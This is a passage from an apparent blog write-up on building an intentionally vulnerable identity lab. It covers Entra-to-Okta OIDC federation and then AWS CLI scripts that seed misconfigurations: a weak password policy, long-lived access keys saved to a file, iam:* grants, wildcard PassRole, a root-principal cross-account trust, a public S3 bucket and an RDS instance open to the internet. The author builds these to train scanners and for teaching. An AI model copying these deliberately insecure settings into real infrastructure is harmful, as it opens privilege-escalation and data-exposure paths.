I’d encourage anyone reading to actually understand rather than just replicate — it’s a genuinely common enterprise pattern (delegated authentication / inbound federation), and the debugging arc taught me more than the happy path did.</p><h4>The concept: OIDC, not SAML</h4><p>I used <strong>OpenID Connect</strong> for the Entra↔Okta trust, not SAML. The practical difference: instead of exchanging an X.509 signing certificate and SAML metadata XML, the trust is built from a <strong>client ID + client secret + four discovery endpoints</strong>, and identity crosses the wire as a signed JWT rather than an XML assertion. OIDC is lighter-weight, and it’s the path Okta’s own IdP-type picker defaults you toward when you choose “Entra” from their catalog — though in real enterprise deployments, SAML is still extremely common, especially when Entra needs to be the IdP for many downstream services at once with rich group-claim support. I’d frame OIDC here as “the right choice for this specific, from-scratch build,” not as categorically superior.</p><h4>Registering Okta as an app in Entra</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FFsTx6R91OQIijjCNEF_6g.png" /></figure><p>A few things worth explaining rather than just showing:</p><ul><li><strong>Single tenant only</strong> scopes this app registration to authenticate users from <em>this</em> Entra tenant exclusively — an important boundary, since the alternative options would let any Microsoft account, anywhere, attempt to authenticate against this app.</li><li><strong>The redirect URI is a security control, not a formality.</strong> Entra will only send the authentication response back to a URL you’ve explicitly allow-listed. This is what stopped an attacker from being able to register a lookalike client and redirect stolen tokens elsewhere — and, as I found out during testing, it’s also strict enough to reject even a <em>legitimate</em> callback if the URL doesn’t match character-for-character (more on this in the debugging section below).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QpiSajeSWZiCaOhjNr6oug.png" /></figure><p>These four scopes are deliberately minimal — just enough to authenticate a user and read their basic profile/email claim, nothing that touches directory data broadly. <strong>Least privilege in the trust relationship itself</strong>, not just in the roles granted afterward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8VO34z5i2qGaC-_aE4zCOg.png" /></figure><p>I noted the expiry date in my seed manifest — a client secret with no rotation plan is its own small finding in a real environment, so tracking it deliberately here was as much a discipline exercise as a lab necessity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Sd3hZfXDZbgvEfFqwIg8A.png" /></figure><p>This step is easy to skip and, if you do, everything downstream fails silently later — Okta’s account-linking logic depends on reading an email claim out of the ID token, and without this explicit claim configuration (plus the underlying mail attribute actually being populated on each user, which I&#39;ll get to), that claim simply won&#39;t be present.</p><h4>The email attribute gotcha</h4><p>Here’s something I didn’t anticipate: the 65 users I’d bulk-imported had no license attached, and it turns out their Entra mail attribute was empty as a result — UPN existed, but mail didn&#39;t. Since Okta&#39;s account linking reads the email claim (sourced from mail), this would have silently broken linking for every user.</p><pre>$lab = &quot;callum.osei&quot;,&quot;tomas.tanaka&quot;,&quot;anika.marchetti&quot;,&quot;idris.bergstrom&quot;,&quot;grace.santoro&quot;,<br>       &quot;layla.beaumont&quot;,&quot;lena.reyes&quot;,&quot;dmitri.vance&quot;,&quot;paige.holloway&quot;<br><br>foreach ($n in $lab) {                                                                <br>&gt;&gt;   $upn = &quot;$n@byl0r3t.com&quot;<br>&gt;&gt;   @{ mail = $upn } | ConvertTo-Json -Compress | Set-Content body.json<br>&gt;&gt;   az rest --method PATCH --url &quot;https://graph.microsoft.com/v1.0/users/$upn&quot; --body &quot;@body.json&quot;<br>&gt;&gt; }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XzLCoJwqbrrcZs-OuA7Wcg.png" /></figure><p>I patched this via az rest directly against Microsoft Graph rather than the Microsoft.Graph PowerShell module, since that module wasn&#39;t available in my Cloud Shell session — a good reminder that Graph&#39;s REST API is always the fallback when the wrapper tooling isn&#39;t cooperating.</p><h4>Adding Entra as an identity provider inside Okta</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCmhwys9CQfng1LHPWHRRg.png" /></figure><p>Worth a small navigational note for anyone following along: this option sits alphabetically between “Okta Integration IdP” and “PayPal IdP” — easy to scroll past if you’re expecting something literally labeled “Microsoft” or “Entra” (Okta does have a separate “Microsoft IdP” preset, but I deliberately used the generic OpenID Connect option instead, since it lets you specify tenant-scoped endpoints explicitly rather than relying on a preset’s assumptions).</p><p>The four endpoints I used, with {tenant-id} replaced by the actual Directory (tenant) ID:</p><pre>Issuer:        https://login.microsoftonline.com/{tenant-id}/v2.0<br>Authorization: https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize<br>Token:         https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/token<br>JWKS:          https://login.microsoftonline.com/{tenant-id}/discovery/v2.0/keys</pre><p><strong>Using tenant-specific endpoints, rather than Microsoft’s generic </strong><strong>/common/ endpoint, is what actually restricts authentication to this one Entra tenant.</strong> This is a subtle but important security boundary — get it wrong (use /common/) and you&#39;d theoretically accept sign-ins from <em>any</em> Microsoft-backed tenant, not just your own.</p><h4>Account linking — matching, not creating</h4><p><strong>[Screenshot: not directly provided, but this is where the account-linking settings screen would go if you have one]</strong></p><p>The key decision here: <strong>Automatic account linking by email, with “if no match, redirect to sign-in” rather than JIT (just-in-time) provisioning.</strong></p><p>This distinction is worth explaining clearly, because it’s easy to assume federation automatically creates users. It doesn’t, unless you explicitly configure it to. With link-only:</p><ul><li>Entra authenticates a user and sends back a token.</li><li>Okta reads the email claim and searches its <strong>own</strong> existing users for a username match.</li><li>If found: the sign-in links and proceeds.</li><li>If not found: the person is bounced back to Okta’s own sign-in page — no new Okta user gets silently created.</li></ul><p>I chose link-only deliberately, for two reasons: the free plan’s 10-user cap would make JIT provisioning break the moment more than 10 of the 65 Entra users tried to sign in, and — more importantly for the narrative — <strong>uncontrolled JIT provisioning is itself a real-world design trade-off worth naming</strong>: it gives zero-touch onboarding, but at the cost of losing control over exactly who gets an Okta account. Link-only is tighter but requires deliberate pre-provisioning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VsHwDnLkQjJ7IzjpOkdzOg.png" /></figure><p>Creating the 9 Okta users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TAlVgSnVW7Jpm-F88kjzkg.png" /></figure><p>I hand-created 9 representative users (plus my own break-glass admin, filling the free plan’s 10-user cap exactly), matching username and primary email to each person’s Entra UPN — that exact match is what makes account linking succeed later.</p><pre>First Last Username / email Group<br>Callum Osei callum.osei@byl0r3t.com NL-Leadership<br>Tomás Tanaka tomas.tanaka@byl0r3t.com NL-Engineering<br>Anika Marchetti anika.marchetti@byl0r3t.com NL-Engineering<br>Idris Bergstrom idris.bergstrom@byl0r3t.com NL-Engineering<br>Grace Santoro grace.santoro@byl0r3t.com NL-Engineering<br>Layla Beaumont layla.beaumont@byl0r3t.com NL-Sales<br>Lena Reyes lena.reyes@byl0r3t.com NL-CustomerSuccess<br>Dmitri Vance dmitri.vance@byl0r3t.com NL-Engineering<br>Paige Holloway paige.holloway@byl0r3t.com NL-Engineering</pre><p>Deliberately including both leavers <em>in</em> Okta (rather than skipping them) matters for the story: the offboarding test later needs them present so I can demonstrate they get <strong>blocked</strong> at Entra but still hold live AWS credentials — the gap only shows up if all three systems (Entra, Okta, AWS) are consistently populated first.</p><h4>IdP Discovery: routing rules</h4><p>Okta needs to decide, before a user even reaches a password box, <em>which</em> identity provider to send them to. That’s IdP Discovery — implemented as ordered routing rules, evaluated top-down, first match wins (the same “first-match” logic you see in firewall rules or IAM policy evaluation generally).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GMTCrwNJc4GcfhrEnCJ87g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-CpuMcGzvwUtJS5NHvEfJQ.png" /></figure><p>The <strong>ordering is the whole security model here</strong>. Rule 1, matching my own break-glass admin account by exact regex, sits above Rule 2, which routes the entire byl0r3t.com domain to Entra. If these were reversed, my own admin login would get swept into the Entra-routing rule and I&#39;d have no way back into Okta&#39;s admin console if Entra ever had an outage or misconfiguration — a classic <strong>break-glass account design failure</strong>: the recovery account for a federated system should never itself depend on the thing it might need to recover from.</p><h4>Testing: the actual sign-in</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GVdkr8HmrwZhPPYUzbWHBg.png" /></figure><p>Entering tomas.tanaka@byl0r3t.com at the Okta sign-in page and clicking Next triggered an automatic redirect to Microsoft&#39;s own login page — no password prompt from Okta at all, confirming the routing rule correctly identified this as a byl0r3t.com login and handed it to Entra.</p><h4>The debugging arc (worth its own section)</h4><p>Getting to that successful redirect took two rounds of genuinely useful troubleshooting:</p><p><strong>AADSTS700016 — &quot;Application... was not found in the directory.&quot;</strong> This happened because the Client ID configured on Okta&#39;s side didn&#39;t match my actual Entra app registration&#39;s Application (client) ID — I&#39;d apparently pasted a stray value from an earlier attempt. The fix was re-copying the exact Application (client) ID from the Entra Overview page and re-entering it in Okta&#39;s IdP settings.</p><p><strong>AADSTS50011 — &quot;The redirect URI... does not match the redirect URIs configured.&quot;</strong> This one was subtler: I&#39;d registered https://integrator-9064102-admin.okta.com/oauth2/v1/authorize/callback in Entra, but Okta&#39;s actual authentication flow sends users through the plain https://integrator-9064102.okta.com/... domain — no -admin. prefix. Two different hostnames for the same org: one for the admin console, one for actual sign-in traffic. Adding the second, correct redirect URI alongside the first resolved it.</p><p>Both errors are, in a sense, the trust boundary working exactly as designed — Entra refusing to proceed on any request that doesn’t precisely match its expected configuration. Being able to read an AADSTS error code and immediately know which half of the relationship to check (client identity vs. redirect endpoint) turned out to be a genuinely useful, demonstrable skill to walk away with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7QUvZ0flCfbMwN4_7h7UKQ.png" /></figure><p>As shown below, Microsoft is now handling the login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2x3jkImlm8D6wMm_Ntb86A.png" /></figure><p>This is the moment that proves the whole chain is real, not just configured: Okta identified the domain, consulted its routing rule, and redirected the browser to Microsoft’s own login surface — the URL bar confirms it, showing login.microsoftonline.com with the tenant ID embedded in the path, not an Okta domain at all. Entering the Entra password here means Entra — not Okta — is the system actually validating the credential.</p><h4>Session and app sign-in policies: making the federation actually enforce something</h4><p>Getting a successful redirect is necessary but not sufficient. Without policy work on both sides, nothing stops someone from bypassing the Entra hop entirely and just typing an Okta password directly. Two policies close that gap.</p><p><strong>A. The Global Session Policy — the “how do I know Entra vouched for you” rule</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FvSi9bZ93s0th9Gka8703A.png" /></figure><p>The critical field here is <strong>Identity provider is: Specific</strong>. This condition is what scopes the rule narrowly — it only fires for sessions that were actually established via the named Entra IdP, meaning my break-glass admin (who never authenticates through Entra) can never accidentally match it. I set <strong>Establish the user session with</strong> to the option that lets the Entra-IdP sign-in itself satisfy Okta’s session requirement, with no additional Okta-side password prompt layered on top. That’s the technical mechanism behind “Entra does the authenticating, Okta just trusts the result.”</p><p><strong>B. The App Sign-in Policy — the “which apps require this” rule</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8xwGwFTZRnpXI_x0QyfAQ.png" /></figure><p>This is the piece that actually makes the finding-14 story (no AWS federation, but SaaS federation working correctly) hold together as a coherent narrative — apps assigned this policy are unreachable by any path except one that started with Entra. <strong>Priority ordering does the enforcement</strong>: Okta evaluates top-down, so the “Via Entra” rule catches every legitimate Entra-authenticated request first, and anyone who somehow reaches this policy without that context falls through to the catch-all, which is explicitly <strong>Denied</strong> — no silent fallback to a plain Okta password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*oM4qjwV3kp9r7wBvutlAeg.png" /></figure><h4>Verifying app assignment per department</h4><p>Before putting real apps behind this policy, I confirmed the baseline: a freshly-authenticated user with zero app assignments sees nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D69iVxzKvjIyraNh3W4yoQ.png" /></figure><p><strong>Putting SaaS apps behind Okta</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eIiV69rzuL8Qpl1qfW-vog.png" /></figure><p>I picked three apps to demonstrate department-based access control: GitHub (Engineering), Slack (Sales + Customer Success), and a generic Bookmark App (also Sales + Customer Success, as a stand-in CRM).</p><p><strong>GitHub — and a genuinely useful licensing lesson</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TdAxe9D468maYdWjqfh7OA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*5CpGbscvotEjprbmkMb7Yw.png" /></figure><p>Worth documenting honestly rather than glossing over: <strong>GitHub’s SAML SSO enforcement is a GitHub Enterprise Cloud feature</strong> — it doesn’t exist on GitHub’s free or Team tiers at all. This isn’t an Okta-side configuration mistake; it’s a real licensing boundary that would apply in an actual production environment too. Since standing up a paid GitHub Enterprise org just for this lab wasn’t worth it, I still created the Okta-side app tile (functioning as an assignment/policy demonstration rather than a live, working SSO connection to GitHub itself) and documented the gap rather than pretending I’d completed a real SSO handshake I hadn’t. This is actually a fairly realistic thing to flag in a real assessment too — “this app is <em>assigned</em> in the IdP, but does the downstream SaaS actually enforce it?” is a legitimate question an assessor should ask, not just assume.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*trGDlAzsHKW-fk0ZE8h4_Q.png" /></figure><p><strong>Slack</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PZ0z_diLoS2Zvz64bMK6vA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R3B_QD4hnbpiamMKt44uEA.png" /></figure><p>The Bookmark App — the pragmatic no-dependency option</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6iYAGsDhlIOcUHFN-duGfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*Y5gtnBv3yZ8amvbBVAgbrg.png" /></figure><p>I used this as a stand-in for a fictional internal CRM tool. Since a Bookmark App is just a stored link with no backend SSO handshake at all, it sidesteps the exact licensing wall that GitHub hit — useful to note as a general lesson: <strong>when a real SaaS app’s SSO tier is a blocker, a Bookmark App is a legitimate way to still exercise Okta’s assignment and policy logic</strong>, since that’s what’s actually being tested, not the third-party app’s own auth implementation.</p><h4>Verifying per-department visibility (Finding-relevant: proving group-based access control actually works)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V_nk3CkP26YPh3T1eraLbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYy3uqqcDcqSyvfXFd1h9Q.png" /></figure><p>This is the actual proof of the finding-relevant claim: <strong>an Engineering user sees only Engineering tools, a Sales user sees only Sales tools, and nobody sees anything by default.</strong> Department-scoped group assignment isn’t just configured — it’s demonstrably enforced.</p><h4>Finding 18, live: disabling identity doesn’t kill an existing session</h4><p>This is the most important test in the whole lab, because it’s the one that turns “no AWS federation” (Finding 14) from an abstract IAM-hygiene complaint into a concrete, demonstrable security gap.</p><p><strong>Step 1 — establish a live session as Grace</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Q9EHbQ5D-0OFuO3ewYOew.png" /></figure><p>Step 2 — block her in Entra, from a separate admin session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AuyyJsCzo5ri8Cq5BEuMww.png" /></figure><p><strong>Step 3 — the actual finding: the existing Okta session survives</strong></p><p>Going back to Grace’s already-open Okta tab and refreshing/navigating, her session <strong>continued to function</strong> — she could still interact with the Okta interface despite being blocked in Entra moments earlier. This is the gap made concrete: Okta’s session token was already issued before the block happened, and nothing about disabling the upstream identity retroactively invalidates a session that’s already live downstream. Microsoft’s own warning text is honest about this too — it explicitly says “within 60 minutes,” not “immediately,” for Microsoft’s <em>own</em> services, and Okta’s session is a separate artifact entirely, on a separate timer (or no timer at all, until it naturally expires or is manually killed).</p><p><strong>Step 4 — a fresh sign-in attempt correctly fails</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tCxJQU9uxvaEmQHhayiNKQ.png" /></figure><p>This confirms the block is real and effective for <strong>new</strong> authentication attempts — Entra correctly refuses a fresh login. The finding isn’t that blocking doesn’t work at all; it’s specifically that <strong>it doesn’t retroactively terminate sessions that already exist</strong>, and that gap compounds badly when you consider AWS: Grace’s hypothetical IAM console user and access keys (which we’ll get to in Part 2) have <em>no relationship to Entra whatsoever</em> — blocking her here does precisely nothing to that access, not even the eventual 60-minute cleanup Microsoft’s own services get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gykTXUf_ddFznJdMks5wZw.png" /></figure><p>However, on a brand new private session, it is not possible to login as Grace:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pm88N1rUL7IMpLBU84F6jw.png" /></figure><p>As shown below, it is possible to identify the failed login on the system logs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GipzOftDSvTXDIGXTRnAlw.png" /></figure><p>With identity and federation done, Phase 3 moves into AWS: standing up the actual misconfigurations across nl-prod — the 14 long-lived credentials, the privilege-escalation path, the cross-account trust gap, and the two pieces of genuine internet exposure. Before any of this, every command below runs from CloudShell after switching role into nl-prod — never as root, and never from the management account directly.</p><h4>Finding 15: a password policy in name only</h4><pre>aws sts get-caller-identity</pre><pre>aws iam update-account-password-policy \<br>  --minimum-password-length 6 \<br>  --no-require-symbols \<br>  --no-require-numbers \<br>  --no-require-uppercase-characters \<br>  --require-lowercase-characters \<br>  --password-reuse-prevention 0 \<br>  --no-hard-expiry</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*JKFeD_6mMZliDY2tdCZmzA.png" /></figure><p>I started here deliberately, since it’s account-wide and independent of everything else — no ordering dependency to worry about. A 6-character minimum with no complexity requirements and no expiry gives every IAM console user in the account the weakest baseline AWS allows. Worth noting: I dropped --password-reuse-prevention entirely rather than setting it to 0, since AWS&#39;s minimum valid value there is 1 — omitting the flag means <em>no</em> reuse restriction at all, which is actually a more permissive (and more realistic) version of this finding than a &quot;reuse prevention: 1&quot; setting would have been.</p><h4>Findings 1 &amp; 18: fourteen long-lived credentials</h4><pre>#!/bin/bash<br>set -e<br><br>mkdir -p ~/nl-seed-output<br>KEYFILE=~/nl-seed-output/access_keys.csv<br>echo &quot;username,access_key_id,secret_access_key&quot; &gt; &quot;$KEYFILE&quot;<br>chmod 600 &quot;$KEYFILE&quot;<br><br>USERS=(<br>  &quot;tomas.tanaka&quot;<br>  &quot;hannah.ibrahim&quot;<br>  &quot;yuki.rinaldi&quot;<br>  &quot;idris.bergstrom&quot;<br>  &quot;pedro.fontaine&quot;<br>  &quot;viktor.ramirez&quot;<br>  &quot;owen.kovacs&quot;<br>  &quot;lucas.alvarez&quot;<br>  &quot;anika.marchetti&quot;<br>  &quot;omar.whitfield&quot;<br>  &quot;daniel.nakamura&quot;<br>  &quot;rohan.varga&quot;<br>  &quot;dmitri.vance&quot;<br>  &quot;paige.holloway&quot;<br>)<br><br>for u in &quot;${USERS[@]}&quot;; do<br>  echo &quot;Creating $u...&quot;<br>  aws iam create-user --user-name &quot;$u&quot; \<br>    --tags Key=lab,Value=northlight Key=email,Value=&quot;${@byl0r3t.com&quot;&gt;u}@byl0r3t.com&quot; \<br>    --output text &gt; /dev/null<br><br>  aws iam create-login-profile --user-name &quot;$u&quot; \<br>    --password &quot;TempPass!$(openssl rand -hex 4)Aa1&quot; \<br>    --password-reset-required \<br>    --output text &gt; /dev/null<br><br>  KEY_JSON=$(aws iam create-access-key --user-name &quot;$u&quot; --output json)<br>  AKID=$(echo &quot;$KEY_JSON&quot; | python3 -c &quot;import json,sys; print(json.load(sys.stdin)[&#39;AccessKey&#39;][&#39;AccessKeyId&#39;])&quot;)<br>  SECRET=$(echo &quot;$KEY_JSON&quot; | python3 -c &quot;import json,sys; print(json.load(sys.stdin)[&#39;AccessKey&#39;][&#39;SecretAccessKey&#39;])&quot;)<br>  echo &quot;$u,$AKID,$SECRET&quot; &gt;&gt; &quot;$KEYFILE&quot;<br>done<br><br>echo &quot;Done. Keys saved to $KEYFILE — treat this file as sensitive, delete it once you&#39;ve logged what you need.&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pCozwh_lkk1Q-CUi9FBPRA.png" /></figure><p>Twelve current engineers plus the two departed ones (dmitri.vance, paige.holloway) each got an IAM user, a console login, and one access key. This is the finding that makes the earlier Entra work meaningful: the leavers were blocked in Entra during Phase 1/2, but these AWS credentials have zero relationship to that identity system — creating them here is what turns &quot;Entra blocking works&quot; into &quot;Entra blocking doesn&#39;t reach everywhere it should.&quot;</p><p><strong>A practical note for anyone replicating this:</strong> the access-key output file is a real, sensitive artifact. I chmod 600&#39;d it immediately and treated it as something to delete once logged, not something to leave sitting in a home directory indefinitely.</p><h4>Finding 9: direct iam:* on six users</h4><pre>cat &gt; /tmp/iam-star-policy.json &lt;&lt; &#39;EOF&#39;<br>{<br>  &quot;Version&quot;: &quot;2012-10-17&quot;,<br>  &quot;Statement&quot;: [<br>    {<br>      &quot;Effect&quot;: &quot;Allow&quot;,<br>      &quot;Action&quot;: &quot;iam:*&quot;,<br>      &quot;Resource&quot;: &quot;*&quot;<br>    }<br>  ]<br>}<br>EOF<br>echo &quot;Policy file created.&quot;</pre><p>Then attach policy</p><pre>STAR_USERS=(<br>  &quot;tomas.tanaka&quot;<br>  &quot;hannah.ibrahim&quot;<br>  &quot;yuki.rinaldi&quot;<br>  &quot;anika.marchetti&quot;<br>  &quot;omar.whitfield&quot;<br>  &quot;daniel.nakamura&quot;<br>)<br><br>for u in &quot;${STAR_USERS[@]}&quot;; do<br>  echo &quot;Attaching iam:* to $u...&quot;<br>  aws iam put-user-policy \<br>    --user-name &quot;$u&quot; \<br>    --policy-name &quot;nl-migration-2023-iam-full&quot; \<br>    --policy-document file:///tmp/iam-star-policy.json<br>done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*Kp5KirHd7ShaGm9FPYvaZQ.png" /></figure><p>The six recipients — the Director of Engineering, two Staff Engineers, two Senior DevOps Engineers, and the Platform Engineer — all also hold the long-lived keys from the previous step. That stacking is deliberate: it’s not just “six people have too much power,” it’s “six people have too much power <em>and</em> it’s reachable via a static credential that never expires.” iam:* is worth flagging as categorically different from most over-privileged grants, since it includes the ability to modify <em>other</em> identities&#39; permissions — it&#39;s not just excessive, it&#39;s a self-referential escalation primitive in its own right.</p><p><em>(Finding 10 — the shared </em><em>nl-lambda-exec-all execution role used by 22 Lambda functions — followed the same pattern: a trust policy scoped to the Lambda service, two AWS-managed policies granting full S3 and DynamoDB access attached to one role, then 22 near-identical function creations in a loop. I won&#39;t re-paste that script here since it&#39;s mechanical, but the concept worth carrying forward is that this role is what gives Finding 4&#39;s PassRole path somewhere consequential to escalate to — without a role this broad already existing, PassRole alone would have nowhere useful to go.)</em></p><pre># Trust policy: Lambda service can assume this role<br>cat &gt; /tmp/lambda-trust.json &lt;&lt; &#39;EOF&#39;<br>{<br>  &quot;Version&quot;: &quot;2012-10-17&quot;,<br>  &quot;Statement&quot;: [<br>    {<br>      &quot;Effect&quot;: &quot;Allow&quot;,<br>      &quot;Principal&quot;: { &quot;Service&quot;: &quot;lambda.amazonaws.com&quot; },<br>      &quot;Action&quot;: &quot;sts:AssumeRole&quot;<br>    }<br>  ]<br>}<br>EOF<br><br>aws iam create-role \<br>  --role-name nl-lambda-exec-all \<br>  --assume-role-policy-document file:///tmp/lambda-trust.json<br><br>aws iam attach-role-policy --role-name nl-lambda-exec-all \<br>  --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess<br>aws iam attach-role-policy --role-name nl-lambda-exec-all \<br>  --policy-arn arn:aws:iam::aws:policy/AmazonDynamoDBFullAccess<br>aws iam attach-role-policy --role-name nl-lambda-exec-all \<br>  --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole<br><br># small delay so IAM propagates before Lambda tries to assume the role<br>sleep 10<br><br>ROLE_ARN=$(aws iam get-role --role-name nl-lambda-exec-all --query &#39;Role.Arn&#39; --output text)<br><br>cat &gt; /tmp/lambda_stub.py &lt;&lt; &#39;EOF&#39;<br>def handler(event, context):<br>    return {&quot;statusCode&quot;: 200, &quot;body&quot;: &quot;stub&quot;}<br>EOF<br>cd /tmp &amp;&amp; zip lambda_stub.zip lambda_stub.py &gt; /dev/null<br><br>for i in $(seq -w 1 22); do<br>  FN=&quot;nl-worker-$i&quot;<br>  echo &quot;Creating $FN...&quot;<br>  aws lambda create-function \<br>    --function-name &quot;$FN&quot; \<br>    --runtime python3.12 \<br>    --role &quot;$ROLE_ARN&quot; \<br>    --handler lambda_stub.handler \<br>    --zip-file fileb:///tmp/lambda_stub.zip \<br>    --timeout 10 \<br>    --tags lab=northlight<br>done</pre><h4>Finding 2: deploy-bot, scoped honestly</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pEMWrQrCQeXoxArgmodULA.png" /></figure><p>I made a deliberate scoping call here worth documenting rather than hiding: the scenario frames this as credentials hardcoded in a Jenkins job config visible to all of Engineering, but standing up a real local Jenkins instance just to produce one screenshot wasn’t worth the overhead for a solo lab. <strong>The part that actually matters for the tools I’d run later — Prowler, Cloudsplaining, PMapper — is this IAM object itself</strong>: a user with AdministratorAccess attached <em>directly</em> (not via a group or role), holding a live, unused access key. That&#39;s what a scanner actually sees and flags. The Jenkins framing stays as narrative context in my write-up, not as something I claimed to have built when I hadn&#39;t. I&#39;d treat this the same way in a real assessment: be explicit about what was verified directly versus what&#39;s inferred from a credible but unconfirmed story.</p><h4>Findings 4 and 8: the two structural findings (console-built, deliberately)</h4><p>These two didn’t get CLI scripts — I built them through the console instead, partly because the console’s role wizard does something instructive for Finding 8 specifically (more below), and partly because these are the two findings with genuine conceptual depth worth sitting with rather than automating away.</p><p><strong>Finding 4 — </strong><strong>nl-app-ec2-role:</strong> an EC2-trusted role carrying iam:PassRole on * combined with lambda:CreateFunction. While building this in the console, AWS&#39;s own policy validator flagged it live — a warning that using iam:PassRole with a wildcard resource is overly permissive and recommending resource ARNs or an iam:PassedToService condition key instead. I let the warning stand and saved anyway, since that&#39;s the whole point of the finding. Worth calling out explicitly: <strong>that warning is a small, real demonstration of what Finding 7 (no Access Analyzer enabled) is actually costing the organization</strong> — the console&#39;s one-time authoring check caught this, but nothing is watching <em>continuously</em> for this pattern across the account, which is exactly what Access Analyzer would provide if it were switched on.</p><p><strong>Finding 8 — </strong><strong>nl-staging-to-prod-readonly:</strong> built via the console&#39;s &quot;Another AWS account&quot; trust-entity option, pointing at the nl-staging account ID, with the AWS-managed ReadOnlyAccess policy attached. This is worth explaining carefully, because the console <em>generates the vulnerability for you automatically</em> in a way that&#39;s genuinely instructive: choosing &quot;Another AWS account&quot; trusts that account&#39;s <strong>root principal</strong> (arn:aws:iam::&lt;nl-staging-id&gt;:root) by default, rather than a specific role inside it. That single design choice is the entire finding — any principal in nl-staging that itself holds sts:AssumeRole permission can assume this role into prod, not just the CI pipeline the role was nominally created for. Combined with Finding 3 (no SCPs, so staging carries prod-equivalent permissiveness already), this is a realistic lateral-movement story built from two AWS defaults compounding each other.</p><p><strong>Finding 5: the public bucket</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZZQ07x9GNjXkMl4-HcDOg.png" /></figure><p>Two separate settings had to fail for this to work, which is worth spelling out since it’s a good illustration of AWS’s layered-defaults design: Block Public Access is a bucket-level (and account-level) circuit breaker that exists specifically to prevent exactly this kind of policy from having any effect, even if someone writes it. I had to explicitly turn that off <em>before</em> the Principal: &quot;*&quot; policy would actually grant public read. In a real incident, that two-step requirement is often exactly how these happen — someone disables Block Public Access &quot;temporarily&quot; to debug something, forgets to re-enable it, and a pre-existing or later-added policy quietly becomes live.</p><h4>Finding 11: the open RDS instance</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MTQD4fMOirUSCw-9rKFC8Q.png" /></figure><p>Public database:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0e1K8kA8EckAUL50GFdwHA.png" /></figure><p>Evidence:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SCr6Geh2BdOKzVhQ2WlO7w.png" /></figure><p>Public accessibility:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xWArp7M5mOh9cgVdBWngvQ.png" /></figure><p>I’d rank the security-group screenshot as the single most load-bearing piece of evidence for Finding 11, more so than any “Publicly accessible: Yes” label. A flag says the door <em>could</em> be reached; the security group rule showing 0.0.0.0/0 inbound on port 5432 is the actual door standing open. The &quot;temporarily, for a contractor&quot; framing from the scenario is a very ordinary, very real way this kind of thing happens — a scoped exception created under time pressure, with no process to revisit it once the original reason expired.</p><p><strong>A cost note worth including for anyone replicating this:</strong> RDS bills hourly regardless of use, roughly $12–20/month for a db.t3.micro if left running continuously. I scanned this the same session I created it and deleted it immediately afterward — public, internet-reachable database instances aren&#39;t something worth leaving live a minute longer than the evidence-gathering requires, for cost reasons <em>and</em> because it&#39;s genuinely live exposure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGiUNMtJ-tf0tu4MIMi_qg.png" /></figure><h4>What I deliberately skipped, and why that’s worth saying out loud</h4><p>I chose not to seed <strong>Finding 6</strong> (live root access keys) after completing everything else — a call worth explaining rather than hiding in a published write-up. Root-key existence is real and worth knowing how to check for, but as a <em>finding to build</em>, it’s shallow: it’s one unchecked box, with none of the conceptual depth of the PassRole chain or the cross-account trust gap. Given time constraints, I prioritized depth over completeness on the findings list, and I think that’s a defensible call to make explicit in a technical write-up rather than pretend the list is 100% exhaustive. A real assessment has the same tension — coverage versus depth — and naming the 